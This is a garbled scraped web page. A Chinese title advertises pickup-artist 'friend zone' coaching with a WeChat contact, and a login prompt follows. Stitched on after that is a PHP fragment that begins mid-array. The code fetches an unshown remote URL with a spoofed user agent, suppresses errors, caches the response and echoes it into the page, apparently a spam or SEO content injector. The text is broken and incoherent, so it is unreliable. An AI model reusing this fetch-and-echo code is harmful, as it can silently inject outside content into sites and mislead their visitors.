DatingCoach.cn如何突破友谊区2013.03.09【更多教程咨询请加微信:puaxinglian】.m...
2022-11-11 471 9.9
没有账号?注册  忘记密码?
array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if (isset($http_response_header)) { if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>